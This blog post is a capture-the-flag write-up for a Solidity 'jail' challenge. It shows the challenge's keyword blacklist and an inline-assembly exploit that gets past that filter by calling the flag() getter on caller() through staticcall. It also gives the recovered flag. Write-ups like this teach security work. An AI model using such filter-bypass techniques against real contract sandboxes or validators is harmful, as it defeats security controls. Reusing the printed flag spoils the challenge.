I recently participated in WWCTF with my team, HackerTroupe.As usual I solve the smart contract challenges

This is my solution for the “Jail Challenge 1” blockchain challenge.

The objective is to retrieve the flag variable from a BytecodeRunner contract, but our input is restricted by a Solidity keyword jail.

Challenge Analysis

The challenge provides two files that define the environment.

1. The Jailer Contract (Jail.sol)

This contract takes arbitrary bytecode, deploys it using create2, and then executes its main() function. The flag we need to capture is a public state variable within this contract.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract BytecodeRunner {
    string public flag = "wwf{REDACTED}";

    function run(
        bytes memory _bytecode,
        bytes32 _salt
    ) public returns (bool success, bytes memory result) {
        address newContract;
        assembly {
            newContract := create2(0, add(_bytecode, 0x20), mload(_bytecode), _salt)
        }
        // ...
        (success, result) = newContract.call(abi.encodeWithSelector(bytes4(keccak256("main()"))));
        require(success, "Execution of main() failed.");
    }
}

2. The Jail Script (JailTalk.py)

This Python script takes our input, wraps it inside the main() function of a Solution contract, and checks our code against a blacklist of keywords. If the code is valid, it’s compiled and sent to the BytecodeRunner contract.

The key restriction is this blacklist:

blacklist = [
    "flag", "transfer", "address", "this", "block", "tx",
    "origin", "gas", "fallback", "receive", "selfdestruct", "suicide"
]

This prevents us from simply calling flag() or using address(this) to interact with the contract directly.

Vulnerability and Approach:

The jail only sanitizes the high-level Solidity code, not the low-level operations. We can bypass the keyword restrictions by using inline assembly (Yul).

Since flag is a public state variable, the compiler automatically generates a public getter function for it. We can calculate its function selector:

  1. Function Signature: flag()

  2. Selector: bytes4(keccak256(“flag()”)) which is 0x890eba68

Our plan is to:

  1. Write our exploit in inline assembly within the main() function.

  2. Manually construct the calldata for the flag() function using its selector.

  3. Use the caller() opcode in assembly, which gives us the address of the BytecodeRunner contract that deployed our Solution contract.

  4. Use staticcall to call the flag() function on the caller() and retrieve the flag’s value.

Exploit:

This is the assembly code that is pasted into the challenge’s input prompt. It makes a low-level call without using any of the blacklisted keywords.

string memory my_result;

assembly {
    // Get a free memory pointer.
    let ptr := mload(0x40)

    // Store the 4-byte selector for "flag()" (0x890eba68) in memory.
    // shl(224, selector) left-aligns the 4 bytes in a 32-byte word.
    mstore(ptr, shl(224, 0x890eba68))

    // Perform a staticcall to the caller (BytecodeRunner contract).
    let success := staticcall(
        gas(),          // Forward all available gas
        caller(),       // The address of the BytecodeRunner contract
        ptr,            // Input data starts at `ptr` (our selector)
        4,              // Input data size is 4 bytes
        ptr,            // Output data will be written back to `ptr`
        256             // Allocate 256 bytes for the output buffer
    )

    if iszero(success) {
        revert(0, 0)
    }

    // The returned string is located at ptr + 32 bytes (offset).
    // The first 32 bytes contain the length of the string.
    my_result := add(ptr, 0x20)
    
    // Update the free memory pointer to avoid memory corruption.
    mstore(0x40, add(ptr, and(add(add(returndatasize(), 31), 32), not(31))))
}

return my_result;

Result:

After submitting the assembly code, the script executes it and returns the decoded string containing the flag.

 [True, b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00(wwf{y0u_4r3_7h3_7ru3_m4573r_0f_s0l1d17y}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00']

Flag:

wwf{y0u_4r3_7h3_7ru3_m4573r_0f_s0l1d17y}

Challenge2 is coming